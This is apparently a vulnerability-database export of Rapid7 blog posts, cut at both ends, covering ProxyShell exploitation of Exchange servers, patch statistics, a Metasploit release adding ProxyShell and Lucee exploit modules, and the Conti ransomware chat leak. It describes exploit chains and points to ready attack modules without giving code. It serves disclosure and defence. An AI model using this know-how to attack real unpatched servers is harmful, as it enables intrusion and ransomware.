"https://msrc.microsoft.com/blog/2021/07/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "rapid7blog": [{"lastseen": "2021-10-06T15:02:24", "description": "![For Microsoft Exchange Server Vulnerabilities, Patching Remains Patchy](https://blog.rapid7.com/content/images/2021/10/exchange-server.jpg)\n\nIf you've been keeping tabs on the state of vulnerabilities, you've probably noticed that Microsoft Exchange has been in the news more than usual lately. Back in March 2021, Microsoft [acknowledged a series of threats](<https://www.rapid7.com/blog/post/2021/03/03/mass-exploitation-of-exchange-server-zero-day-cves-what-you-need-to-know/>) exploiting zero-day CVEs in on-premises instances of Exchange Server. Since then, several related exploit chains targeting Exchange have [continued to be exploited in the wild](<https://www.rapid7.com/blog/post/2021/08/12/proxyshell-more-widespread-exploitation-of-microsoft-exchange-servers/>).\n\nMicrosoft [quickly](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) [released](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) [patches](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207>) to help security teams keep attackers out of their Exchange environments. So, what does the state of patching look like today among organizations running impacted instances of Exchange?\n\nThe answer is more mixed \u2014 and more troubling \u2014 than you'd expect.\n\n## What is Exchange, and why should you care?\n\nExchange is a popular email and messaging service that runs on Windows Server operating systems, providing email and calendaring services to tens of thousands of organizations. It also integrates with unified messaging, video chat, and phone services. That makes Exchange an all-in-one messaging service that can handle virtually all communication streams for an enterprise customer.\n\nAn organization's Exchange infrastructure can contain copious amounts of sensitive business and customer information in the form of emails and a type of shared mailbox called Public Folders. This is one of the reasons why Exchange Server vulnerabilities pose such a significant threat. Once compromised, Exchange's search mechanisms can make this data easy to find for attackers, and a robust rules engine means attackers can create hard-to-find automation that forwards data out of the organization.\n\nAn attacker who manages to get into an organization's Exchange Server could gain visibility into their Active Directory or even compromise it. They could also steal credentials and impersonate an authentic user, making phishing and other attempts at fraud more likely to land with targeted victims.\n\n## Sizing up the threats\n\nThe credit for discovering this recent family of Exchange Server vulnerabilities goes primarily to security researcher Orange Tsai, who overviewed them in an August 2021 [Black Hat talk](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>). He cited 8 vulnerabilities, which resulted in 3 exploit chains:\n\n * ****ProxyLogon:**** This vulnerability could allow attackers to use pre-authentication server-side request forgery (SSRF) plus a post-authentication arbitrary file write, resulting in remote code execution (RCE) on the server.\n * ****ProxyOracle:**** With a cookie from an authenticated user (obtained through a reflected XSS link), a Padding Oracle attack could provide an intruder with plain-text credentials for the user.\n * ****ProxyShell: ****Using a pre-authentication access control list (ACL) bypass, a PrivEsc (not going up to become an administrator but down to a user mailbox), and a post-authentication arbitrary file write, this exploit chain could allow attackers to execute an RCE attack.\n\nGiven the sensitivity of Exchange Server data and the availability of [patches and resources from Microsoft](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>) to help defend against these threats, you'd think adoption of these patches would be almost universal. But unfortunately, the picture of patching for this family of vulnerabilities is still woefully incomplete.\n\n## A patchwork of patch statuses\n\nIn Rapid7's OCTO team, we keep tabs on the exposure for major vulnerabilities like these, to keep our customers and the security community apprised of where these threats stand and if they might be at risk. To get a good look at the patch status among Exchange Servers for this family of attack chains, we had to develop new techniques for fingerprinting Exchange versions so we could determine which specific hotfixes had been applied.\n\nWith a few tweaks, we were able to adjust our measurement approach to get a clear enough view that we can draw some strong conclusions about the patch statuses of Exchange Servers on the public-facing internet. Here's what we found:\n\n * Out of the 306,552 Exchange OWA servers we observed, 222,145 \u2014 or 72.4% \u2014were running an impacted version of Exchange (this includes 2013, 2016, and 2019).\n * Of the impacted servers, 29.08% were still unpatched for the ProxyShell vulnerability, and 2.62% were partially patched. That makes 31.7% of servers that may still be vulnerable.\n\n![For Microsoft Exchange Server Vulnerabilities, Patching Remains Patchy](https://blog.rapid7.com/content/images/2021/10/proxyshell_summary_2021.10.01.png)\n\nTo put it another, starker way: 6 months after patches have been available for the ProxyLogon family of vulnerabilities, 1 in 3 impacted Exchange Servers are still susceptible to attacks using the ProxyShell method.\n\nWhen we sort this data by the Exchange Server versions that organizations are using, we see the uncertainty in patch status tends to cluster around specific versions, particularly 2013 Cumulative Update 23. \n\n![For Microsoft Exchange Server Vulnerabilities, Patching Remains Patchy](https://blog.rapid7.com/content/images/2021/10/proxyshell_detailed_2021.10.01.png)\n\nWe also pulled the server header for these instances with the goal of using the version of IIS as a proxy indicator of what OS the servers may be running \u2014 and we found an alarmingly large proportion of instances that were running end-of-life servers and/or operating systems, for which Microsoft no longer issues patch updates.\n\n![For Microsoft Exchange Server Vulnerabilities, Patching Remains Patchy](https://blog.rapid7.com/content/images/2021/10/proxyshell_os_2021.10.01.png)\n\nThat group includes the two bars on the left of this graph, which represent 2007 and 2010 Exchange Server versions: 75,300 instances of 2010 and 8,648 instances of 2007 are still running out there on the internet, roughly 27% of all instances we observed. Organizations still operating these products can count themselves lucky that ProxyShell and ProxyLogon don't impact these older versions of Exchange (as far as we know). But that doesn't mean those companies are out of the woods \u2014 if you still haven't replaced Exchange Server 2010, you're probably also doing other risky things in your environment.\n\nLooking ahead, the next group of products that will go end-of-life are the Windows Server 2012 and 2012 R2 operating systems, represented in green and yellow, respectively, within the graph. That means 92,641 instances of Exchange \u2014 nearly a third of all Exchange Servers on the internet \u2014 will be running unsupported operating systems for which Microsoft isn't obligated to provide security fixes after they go end-of-life in 2023.\n\n## What you can do now\n\nIt's a matter of when, not if, we encounter the next family of vulnerabilities that lets attackers have a field day with huge sets of sensitive data like those contained in Exchange Servers. And for companies that haven't yet patched, ProxyShell and its related attack chains are still a real threat. Here's what you can do now to proactively mitigate these vulnerabilities.\n\n * First things first: If your organization is running one of the 1 in 3 affected instances that are vulnerable due to being unpatched, [install the appropriate patch](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>) right away.\n * Stay current with patch updates as a routine priority. It is possible to build Exchange environments with near-100% uptimes, so there isn't much argument to be made for foregoing critical patches in order to prevent production interruptions.\n * If you're running a version of Exchange Server or Windows OS that will soon go end-of-life, start planning for how you'll update to products that Microsoft will continue to support with patches. This way, you'll be able to quickly and efficiently mitigate vulnerabilities that arise, before attackers take advantage of them.\n\nIf you're already a Rapid7 customer, there's good news: [InsightVM](<https://www.rapid7.com/products/insightvm/>) already has authenticated scans to detect these vulnerabilities, so users of the product should already have a good sense of where their Exchange environments stand. On the offensive side, your red teams and penetration testers can highlight the risk of running vulnerable Exchange instances with modules exercising [ProxyLogon](<https://www.rapid7.com/db/modules/exploit/windows/http/exchange_proxylogon_rce/>) and [ProxyShell](<https://www.rapid7.com/db/modules/exploit/windows/http/exchange_proxyshell_rce/>). And as our research team continues to develop techniques for getting this kind of detailed information about exposures, we ensure our products know about those methods so they can more effectively help customers understand their vulnerabilities.\n\nBut for all of us, these vulnerabilities are a reminder that security requires a proactive mindset \u2014 and failing to cover the basics like upgrading to supported products and installing security updates leaves organizations at risk when a particularly thorny set of attack chains rears its head.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-06T14:07:12", "type": "rapid7blog", "title": "For Microsoft Exchange Server Vulnerabilities, Patching Remains Patchy", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-10-06T14:07:12", "id": "RAPID7BLOG:D47FB88807F2041B8820156ECFB85720", "href": "https://blog.rapid7.com/2021/10/06/for-microsoft-exchange-server-vulnerabilities-patching-remains-patchy/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-25T18:57:37", "description": "![ProxyShell: More Widespread Exploitation of Microsoft Exchange Servers](https://blog.rapid7.com/content/images/2021/08/proxyshell-august.jpg)\n\n_This attack is ongoing. See the `Updates` section at the end of this post for new information as it comes to light. Rapid7 also has a [technical analysis of the ProxyShell exploit chain](<https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain/rapid7-analysis>) in AttackerKB._\n\nOn August 5, 2021, in [a Black Hat USA talk](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>), DEVCORE researcher Orange Tsai shared information on [several exploit chains](<https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html>) targeting on-premises installations of Microsoft Exchange Server. Among the exploit chains presented were ProxyLogon, which was [exploited en masse in February and March](<https://www.rapid7.com/blog/post/2021/03/03/mass-exploitation-of-exchange-server-zero-day-cves-what-you-need-to-know/>) of 2021, and ProxyShell, an attack chain originally demonstrated at the Pwn2Own hacking competition this past April. As of August 12, 2021, multiple researchers have detected widespread opportunistic [scanning](<https://twitter.com/bad_packets/status/1425598895569006594>) and [exploitation](<https://twitter.com/GossiTheDog/status/1425844380376735746>) of Exchange servers using the ProxyShell chain.\n\nAccording to Orange Tsai's demonstration, the ProxyShell exploit chain allows a remote unauthenticated attacker to execute arbitrary commands on a vulnerable on-premises instance of Microsoft Exchange Server via port 443. The exploit is comprised of three discrete CVEs:\n\n * [CVE-2021-34473](<https://www.rapid7.com/db/vulnerabilities/msft-cve-2021-34473/>), a remote code execution vulnerability [patched April 13, 2021](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>)\n * [CVE-2021-34523](<https://www.rapid7.com/db/vulnerabilities/msft-cve-2021-34523/>), an elevation of privilege vulnerability [patched April 13, 2021](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>)\n * [CVE-2021-31207](<https://www.rapid7.com/db/vulnerabilities/msft-cve-2021-31207/>), a security feature bypass [patched May 11, 2021](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207>)\n\n_While CVE-2021-34473 and CVE-2021-34523 were patched in April, Microsoft\u2019s advisories note that they were inadvertently omitted from publication until July._\n\nWhen chained, these vulnerabilities allow the attacker to bypass ACL controls, send a request to a PowerShell back-end, and elevate privileges, effectively authenticating the attacker and allowing for remote code execution. Both public and private proof-of-concept exploits have been released as of August 18, 2021\u2014not surprising, since ProxyShell was first demonstrated more than four months ago at Pwn2Own. A number of [technical analyses](<https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/>) of the chain have also [been published](<https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1>). See Rapid7's exploit chain analysis [in AttackerKB](<https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain/rapid7-analysis>).\n\nNotably, there has been confusion about which CVE is which across various advisories and research descriptions \u2014 Microsoft, for instance, describes CVE-2021-34473 as a remote code execution vulnerability, but [Orange Tsai\u2019s Black Hat slides](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>) list CVE-2021-34473 as the initial ACL bypass. Community researchers have also [expressed confusion](<https://twitter.com/GossiTheDog/status/1424791670076411905>) over CVE numbering across the ProxyShell chain, but ultimately, the takeaway is the same: Organizations that have not patched these vulnerabilities should do so on an emergency basis and invoke incident response protocols to look for indicators of compromise.\n\n## Affected products\n\nThe following versions of Exchange Server are vulnerable to all three ProxyShell CVEs:\n\n * Microsoft Exchange Server 2019 Cumulative Update 9\n * Microsoft Exchange Server 2019 Cumulative Update 8\n * Microsoft Exchange Server 2016 Cumulative Update 20\n * Microsoft Exchange Server 2016 Cumulative Update 19\n * Microsoft Exchange Server 2013 Cumulative Update 23\n\nOrganizations that rely on on-premises installations of Exchange Server and are not able to move to O365 should ensure that all Exchange instances are patched on a zero-day basis. In order to do this, it is vital that defenders keep up-to-date with quarterly Cumulative Updates, since Microsoft only releases security fixes for [the most recent Cumulative Update versions](<https://docs.microsoft.com/en-us/exchange/new-features/updates>).\n\nWhile ProxyShell and March\u2019s ProxyLogon exploit chain are the two attacks that have already resulted in widespread exploitation, they are not the only exploit chains targeting on-premises Exchange servers. Exchange continues to be valuable and accessible attack surface area for both sophisticated and run-of-the-mill threat actors, and we will certainly see additional widespread exploitation in the future.\n\nRead more from our emergent threat response team on [high-priority attack surface area](<https://www.rapid7.com/blog/post/2021/08/12/popular-attack-surfaces-august-2021-what-you-need-to-know/>), including Windows Print Spooler and Pulse Connect Secure VPNs.\n\n## Rapid7 customers\n\nInsightVM and Nexpose customers can assess their exposure to all three ProxyShell CVEs with authenticated vulnerability checks.\n\nThe following attacker behavior detection is available InsightIDR customers:\n\n * Suspicious Process - Process Spawned By Outlook Web Access\n\nThis detection will identify processes spawned by Microsoft IIS processes that have been configured to serve as Outlook Web Access web servers for Microsoft Exchange. Rogue processes being spawned may be an indication of a successful attack against these systems and has been observed targeted by various malicious actors.\n\nIf this detection fires in your environment, you should determine whether it is part of authorized administrator activity. Examine the parent process that spawned the command, and anything else that process may have spawned. If this activity is not benign or expected, consider rebuilding the host from a known, good source and having any possibly affected users change their passwords.\n\n## Updates\n\n**August 25, 2021:** Rapid7 estimates that there are over 84,000 Exchange servers that appear vulnerable to the ProxyShell attack chain. \n![ProxyShell: More Widespread Exploitation of Microsoft Exchange Servers](https://blog.rapid7.com/content/images/2021/08/8.25.ProxyShell.png)\n\n**August 23, 2021:** Multiple sources have now [reported](<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows>) that at least one ransomware gang (LockFile) is chaining ProxyShell with PetitPotam (CVE-2021-36942) to compromise Windows domain controllers. See [Rapid7's blog on PetitPotam](<https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/>) for patching and additional required mitigation advice.\n\n**August 21, 2021:** Rapid7's Managed Detection and Response (MDR) and Incident Response (IR) teams have noted a significant uptick in Exchange exploitation by multiple threat actors. Community researchers have also noted that attackers are exploiting the ProxyShell vulnerabilities to drop webshells and [spread ransomware](<https://doublepulsar.com/multiple-threat-actors-including-a-ransomware-gang-exploiting-exchange-proxyshell-vulnerabilities-c457b1655e9c>) on vulnerable targets.\n\nWe are monitoring for additional attacker behavior and will update this blog as further information comes to light.\n\n**August 16, 2021:** We have begun to see public proof-of-concept (PoC) code implementing the ProxyShell exploit chain. Exploitation is ongoing.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-12T21:08:43", "type": "rapid7blog", "title": "ProxyShell: More Widespread Exploitation of Microsoft Exchange Servers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-36942"], "modified": "2021-08-12T21:08:43", "id": "RAPID7BLOG:03B1EB65D8A7CFE486943E2472225BA1", "href": "https://blog.rapid7.com/2021/08/12/proxyshell-more-widespread-exploitation-of-microsoft-exchange-servers/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-20T20:19:12", "description": "## Anyone enjoy making chains?\n\n![Metasploit Wrap-Up](https://blog.rapid7.com/content/images/2021/08/metasploit-blg-2-small.png)\n\nThe community is hard at work building chains to pull sessions out of vulnerable Exchange servers. This week Rapid7's own [wvu](<https://github.com/wvu-r7>) & [Spencer McIntyre](<https://github.com/zeroSteiner>) added a module that implements the ProxyShell exploit chain originally demonstrated by [Orange Tsai](<https://twitter.com/orange_8361>). The module also benefited from research and analysis by [Jang](<https://twitter.com/testanull>), [PeterJson](<https://twitter.com/peterjson>), [brandonshi123](<https://github.com/brandonshiyay>), and [mekhalleh (RAMELLA S\u00e9bastien)](<https://twitter.com/Mekhalleh>) to make it as simple as finding an email for an administrator of vulnerable version of exchange as the entrypoint to chain [CVE-2021-31207](<https://attackerkb.com/topics/5F0CGZWw61/cve-2021-31207?referrer=blog>), [CVE-2021-34523](<https://attackerkb.com/topics/RY7LpTmyCj/cve-2021-34523?referrer=blog>), & [CVE-2021-34473](<https://attackerkb.com/topics/pUK1MXLZkW/cve-2021-34473?referrer=blog>) into sessions for everyone to enjoy.\n\n## Great to see some GSoC value in the wild.\n\nWith Google Summer of Code 2021 moving into its final phases, [pingport80](<https://github.com/pingport80>) had 4 PRs land in this week's release. These improvements and fixes to interactions with sessions make post exploitation tasks more accessible, bringing the community more capabilities and stability along the way.\n\n## New module content (2)\n\n * [Lucee Administrator imgProcess.cfm Arbitrary File Write](<https://github.com/rapid7/metasploit-framework/pull/15525>) by [wvu](<https://github.com/wvu-r7>),, [iamnoooob](<https://github.com/iamnoooob>), and [rootxharsh](<https://github.com/rootxharsh>), which exploits [CVE-2021-21307](<https://attackerkb.com/topics/16OOl6KSdo/cve-2021-21307?referrer=blog>) \\- An unauthenticated user is permitted to make requests through the `imgProcess.cfm` endpoint, and using the `file` parameter which contains a directory traversal vulnerability, they can write a file to an arbitrary location. Combining the two capabilities, this module writes a CFML script to the vulnerable server and achieves unauthenticated code execution as the user running the Lucee server.\n * [Microsoft Exchange ProxyShell RCE](<https://github.com/rapid7/metasploit-framework/pull/15561>) by [wvu](<https://github.com/wvu-r7>), [Jang](<https://twitter.com/testanull>), [Orange Tsai](<https://twitter.com/orange_8361>), [PeterJson](<https://twitter.com/peterjson>), [Spencer McIntyre](<https://github.com/zeroSteiner>), [brandonshi123](<https://github.com/brandonshiyay>), and [mekhalleh (RAMELLA S\u00e9bastien)](<https://twitter.com/Mekhalleh>), which exploits [CVE-2021-31207](<https://attackerkb.com/topics/5F0CGZWw61/cve-2021-31207?referrer=blog>) \\- Added an exploit for the ProxyShell attack chain against Microsoft Exchange Server.\n\n## Enhancements and features\n\n * [#15540](<https://github.com/rapid7/metasploit-framework/pull/15540>) from [dwelch-r7](<https://github.com/dwelch-r7>) \\- This adds an option to `cmd_execute` to have the command run in a subshell by Meterpreter.\n * [#15556](<https://github.com/rapid7/metasploit-framework/pull/15556>) from [pingport80](<https://github.com/pingport80>) \\- This adds shell session compatibility to the `post/windows/gather/enum_unattend` module.\n * [#15564](<https://github.com/rapid7/metasploit-framework/pull/15564>) from [pingport80](<https://github.com/pingport80>) \\- This adds support to the `get_env` and `command_exists?` post API methods for Powershell session types.\n\n## Bugs fixed\n\n * [#15303](<https://github.com/rapid7/metasploit-framework/pull/15303>) from [pingport80](<https://github.com/pingport80>) \\- This PR ensures that the shell `dir` command returns a list.\n * [#15332](<https://github.com/rapid7/metasploit-framework/pull/15332>) from [pingport80](<https://github.com/pingport80>) \\- This improves localization support and compatibly in the session post API related to the `rename_file` method.\n * [#15539](<https://github.com/rapid7/metasploit-framework/pull/15539>) from [tomadimitrie](<https://github.com/tomadimitrie>) \\- This improves the OS version in the `check` method of `exploit/windows/local/cve_2018_8453_win32k_priv_esc`.\n * [#15546](<https://github.com/rapid7/metasploit-framework/pull/15546>) from [timwr](<https://github.com/timwr>) \\- This ensures that the UUID URLs of stageless reverse_http(s) payloads are stored in the database so that they can be properly tracked with payload UUID tracking. This also fixes an error caused by accessing contents of a url list without checking if it's valid first.\n * [#15570](<https://github.com/rapid7/metasploit-framework/pull/15570>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- This fixes a bug in the `auxiliary/scanner/smb/smb_enum_gpp` module where the path that was being generated by the module caused an SMB exception to be raised.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` and you can get more details on the changes since the last blog post from GitHub:\n\n * [Pull Requests 6.1.0...6.1.1](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-08-12T17%3A57%3A38%2B01%3A00..2021-08-20T05%3A13%3A43-05%3A00%22>)\n * [Full diff 6.1.0...6.1.1](<https://github.com/rapid7/metasploit-framework/compare/6.1.0...6.1.1>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. To install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the [binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-20T19:12:00", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21307", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-20T19:12:00", "id": "RAPID7BLOG:7B1DD656DC72802EE7230867267A5A16", "href": "https://blog.rapid7.com/2021/08/20/metasploit-wrap-up-126/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-09T17:28:27", "description": "![Conti Ransomware Group Internal Chats Leaked Over Russia-Ukraine Conflict](https://blog.rapid7.com/content/images/2022/03/contileaks.jpg)\n\n**_UPDATE: _**_As of March 2, 2022, Conti began taking down exposed infrastructure as a result of the chat disclosure. At that time, we assessed that due to their sophisticated capability, deep funding, and quick recovery from exposed infrastructure in November 2021, they remained an active and significant threat. As of March 9, 2022, our threat intelligence team has observed a resumption of normal operations from Conti._\n\nOn February 27, Twitter user [@ContiLeaks](<https://twitter.com/contileaks>) released a trove of chat logs from the ransomware group, Conti \u2013 a sophisticated ransomware group whose manual was publicly [leaked last year](<https://blog.talosintelligence.com/2021/09/Conti-leak-translation.html>). Ahead of the chat log disclosures, Conti pledged their support for the Russian Government following the Russian invasion of Ukraine. However, a number of members sided with Ukraine, causing strife within the organization. Two days later, Conti posted a second message revising their statement to condemn the war and to strike back only if Russian critical infrastructure is targeted.\n\n![Conti Ransomware Group Internal Chats Leaked Over Russia-Ukraine Conflict](https://blog.rapid7.com/content/images/2022/03/image3.png)_Conti announcement of support for Russian government_\n\n![Conti Ransomware Group Internal Chats Leaked Over Russia-Ukraine Conflict](https://blog.rapid7.com/content/images/2022/03/image1.jpg)_Conti walk-back of their support for Russia_\n\n![Conti Ransomware Group Internal Chats Leaked Over Russia-Ukraine Conflict](https://blog.rapid7.com/content/images/2022/03/image4.png)_@ContiLeaks announcement of the release_\n\nAt the time of the leak, a file titled `1.tgz` was released on the \u201cAnonFiles\u201d website, containing 14 megabytes of chat logs across 393 JSON files. However, some of the messages were encrypted and could not be read, so the information provided is necessarily incomplete. The remaining files contained internal Conti communications, screenshots of tools, and discussions of their exploits and design processes. \n\nOn February 28 and March 1, a bevy of additional files were posted, along with a number of pro-Ukraine tweets. Among both sets of leaked messages, there were a number of usernames and passwords for a variety of accounts. Additionally, user @ContiLeaks shared access details for a number of alleged Conti command and control servers, plus storage servers for stolen files. However, we have not accessed any of the data necessitating access to remote servers or the use of usernames and passwords, and we strongly recommend against doing so. \n\n@ContiLeaks also shared a file that they purport to be the source code for the Conti ransomware but declined to share the password except with \u201ctrusted parties.\u201d @ContiLeaks did, however, name one alleged Conti developer, providing their email address and Github. The scale of the leaked information suggests that the leaker is likely either a very senior member of the group or a coalition of disgruntled Conti affiliates.\n\n## Conti is a business \u2013 and a well-funded one\n\nMuch of the discussion within the chat logs concerns fairly mundane things \u2013 interviewing potential operators of the group, payment for services, out-of-office messages, gossip, and discussions of products. Based on the leaked chats, the Conti interview process actually looks a lot like a standard technical interview, with coding exercises to be performed hosted on public code repositories, salary negotiations, and the status of ongoing products. \n\nIn addition to other financial information related to specific actors, the leaked chats have revealed Conti\u2019s primary Bitcoin address, which contains over **two billion USD** as of February 28, 2022. Moreover, a conversation on April 9, 2021 between \u201cmango\u201d and \u201cjohnyboy77\u201d indicates Russian FSB involvement in some portion of their funding and that the FSB were interested in files from the media outlet Bellingcat on \u201cNavalny\u201d \u2013 an apparent reference to Alexei Navalny, the currently imprisoned opposition leader in Russia.\n\n## Conti development\n\nConti seems to operate much like a software company \u2013 the chat logs disclose concerns with the development of specific features for targets and a particular difficulty in encrypting very large files. The Conti team also attempted to get demos of popular endpoint detection software with the intent to develop their malware to avoid detection.\n\nTwo of the actors, \u201clemur\u201d and \u201cterry\u201d shared phishing templates (included verbatim in Appendix B at the end of this post) to be used against potential targets. Conti gains initial access in many ways, with phishing a popular line of attack due in part to its relatively high efficacy and low cost. Conti often uses phishing emails to establish a presence on targeted networks.\n\nA screenshot of the Conti control panel was also leaked, showing a number of compromised hosts and a breakdown of the operating systems, antiviruses, user rights, and detailed information about the infected assets.\n\n![Conti Ransomware Group Internal Chats Leaked Over Russia-Ukraine Conflict](https://blog.rapid7.com/content/images/2022/03/image2.png)_Conti control panel_\n\nFurther discussions detailed the use of infrastructure against targets, disclosing a number of both known and unknown Conti command and control domains. At the time of this post, only a small number of the previously unknown command and control domains appear to be active. Conversations between two operators, \u201cStern\u201d and \u201cBentley\u201d discuss the use of third parties for malicious documents, favoring certain providers over others. They also discuss logistics for how to deliver ransomware without being detected by dynamic analysis. In a conversation between the two back in June of 2021, Stern discloses that Conti wants to start their own cryptocurrency but does not know who to work with. There is no evidence that anything came of this desire, and Conti continues to use Bitcoin for their ransoms. \n\n## Other groups assert they are strictly business\n\nIn stark contrast to Conti, other groups have made it clear to the public that despite their \u201cbusiness model,\u201d they take no public stance on this crisis. LockBit is remaining aloof from the conflict and made it clear that they intend to operate as usual. Although it is believed that LockBit is a Russian organization, they assert that \u201cwe are all simple and peaceful people, we are all Earthlings,\u201d and \u201cfor us it is just business and we are all apolitical.\u201d Another ransomware group, ALPHV, claims to be \u201cextremely saddened\u201d by Conti\u2019s pledge of support and condemns Conti. Their message concludes, \u201cThe Internet, and even more so its dark side, is not the place for politics.\u201d\n\n## Rumors of Conti\u2019s demise have been greatly exaggerated\n\nConti\u2019s payment and \u201csupport\u201d portal is still live, even following the infighting and leaks. Conti has repeatedly proven to be one of the most capable ransomware actors and these chats indicate that the group is well-organized and still very well-funded despite the schism. Any suggestion that these leaks spell the end for Conti is overstated, and we expect that Conti will continue to be a powerful player in the ransomware space.\n\n## What you can do\n\nWe are keeping an eye on dark web activity related to Conti and other ransomware groups and want to reiterate the following steps for protecting yourself from ransomware: \n\n\n * User education, especially related to well-crafted phishing campaigns\n * Asset and vulnerability management, including reducing your external attack surface\n * Multi-factor authentication \n\n\nAdditionally, it is worth ensuring that you are well-guarded against the exploits and malware commonly used by Conti (vulnerabilities provided in Appendix A at the end of this post). Furthermore, security teams should also take some time to review [CISA\u2019s recent report on the group](<https://www.cisa.gov/uscert/ncas/alerts/aa21-265a>). For further discussion on how to protect yourself from ransomware, see our [ransomware playbook](<https://www.rapid7.com/solutions/ransomware/>). \n\n\n## Appendix A \u2013 Conti known exploited 